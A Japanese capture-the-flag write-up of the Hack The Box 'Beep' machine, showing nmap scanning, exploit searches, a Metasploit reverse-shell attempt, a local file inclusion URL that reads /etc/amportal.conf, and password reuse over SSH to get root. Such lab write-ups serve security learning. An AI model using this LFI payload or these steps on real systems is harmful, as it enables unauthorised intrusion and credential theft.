はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。
nmap
Nmap scan report for 10.10.10.7
Host is up (0.18s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: IMPLEMENTATION(Cyrus POP3 server v2) EXPIRE(NEVER) LOGIN-DELAY(0) RESP-CODES UIDL APOP AUTH-RESP-CODE TOP USER STLS PIPELINING
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed OK IMAP4rev1 MAILBOX-REFERRALS QUOTA MULTIAPPEND ACL X-NETSCAPE URLAUTHA0001 RENAME UIDPLUS LITERAL+ LISTEXT IDLE ATOMIC CATENATE STARTTLS ID THREAD=ORDEREDSUBJECT THREAD=REFERENCES ANNOTATEMORE SORT=MODSEQ NO SORT UNSELECT BINARY LIST-SUBSCRIBED IMAP4 CHILDREN RIGHTS=kxte CONDSTORE NAMESPACE
443/tcp open ssl/https?
|_ssl-date: 2020-03-07T10:01:47+00:00; +1h01m33s from scanner time.
878/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
1140/tcp filtered autonoc
3306/tcp open mysql MySQL (unauthorized)
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
58145/tcp filtered unknown
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Host script results:
|_clock-skew: 1h01m32s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9611.62 seconds
色々動いています。
pop3,imap とは
以下のページを参考にします https://fctv.mitene.jp/mail/which.html
pop - Post Office Protocol
imap - Internet Message Access Protocol
どちらもメールに関するプロトコルです
port443 と 10000 をみてみる
443 では Elastix が、10000 では Webmin が動いています。
Elastix の Exploit を調べてみる
metasploit
msf5 exploit(unix/http/freepbx_callmenum) > search elastix
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/freepbx_callmenum 2012-03-20 manual No FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution
searchsploit
kali@kali:~$ searchsploit elastix
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Elastix - 'page' Cross-Site Scripting | exploits/php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion | exploits/php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection | exploits/php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection | exploits/php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | exploits/php/webapps/18650.py
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
metasploit 使ってみる
手っ取り早く metasploit で出てきた exploit を使ってみます。
msf5 exploit(unix/http/freepbx_callmenum) > options
Module options (exploit/unix/http/freepbx_callmenum):
Name Current Setting Required Description
---- --------------- -------- -----------
EXTENSION 0-100 yes A range of Local extension numbers
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(unix/http/freepbx_callmenum) > run
(省略)
[*] Exploit completed, but no session was created.
が、失敗します。 (追記 記事の一番下にこの exploit を成功させている writeup があったのでリンクを貼りました。)
Google で出てきた物を使ってみる
google で出てきた以下の Exploit より https://www.exploit-db.com/exploits/37637
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
にブラウザからアクセスしてみます
すると、以下のようなページにたどり着きます ソースを覗くとみやすくなるので password と検索してみると出てきます
出てきた password が ssh の接続に使い回されているかチェック
すると
kali@kali:~$ ssh [email protected]
[email protected]'s password:
Last login: Sat Mar 14 09:47:03 2020 from 10.10.14.3
Welcome to Elastix
----------------------------------------------------
To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7
[root@beep ~]#
[root@beep ~]# whoami
root
一発で root が取れてしまいました。 root.txt と user.txt を探して終わりです
終わりに
かなり簡単というかシンプルな machine でした。 あと少しで vip が切れてしまうので vip が切れたら一旦オススメしてもらった以下の本でも読もうかなと思っています。 サイバーセキュリティ レッドチーム実践ガイド
これ凄い気になってるんですけど、どなたか読んだ人おりませんか??(その前に積読を消化しろ)
— さんぽし (@sanpo_shiho) March 3, 2020
サイバーセキュリティテスト完全ガイド ~Kali Linuxによるペネトレーションテスト~ https://t.co/0vShGi8XBl
2冊とも持っていますが、2版、3版ともに別の内容です。取り扱ってる内容も全然変わってきます。どちらかといえば2冊とも読むのがおすすめですが、どちらかといえば3版です笑。昔書いた読み比べですがちょっと雑すぎて参考になるかわかりませんがhttps://t.co/AoYxdxprgr
— 解析魔法少女あくあ(•̀ᴗ•́)و(bin+cue).rar@鳶沢みさきFC (@WinterLabyrinth) March 3, 2020
その他の方法
https://blog.csdn.net/fastergohome/article/details/104165920
- EXTENSION の範囲変えて unix/http/freepbx_callmenum 成功してる
- 以下のリンクみた感じ EXTENSION を 200-でも試すべきっぽい(ちゃんと読め) https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/freepbx_callmenum.rb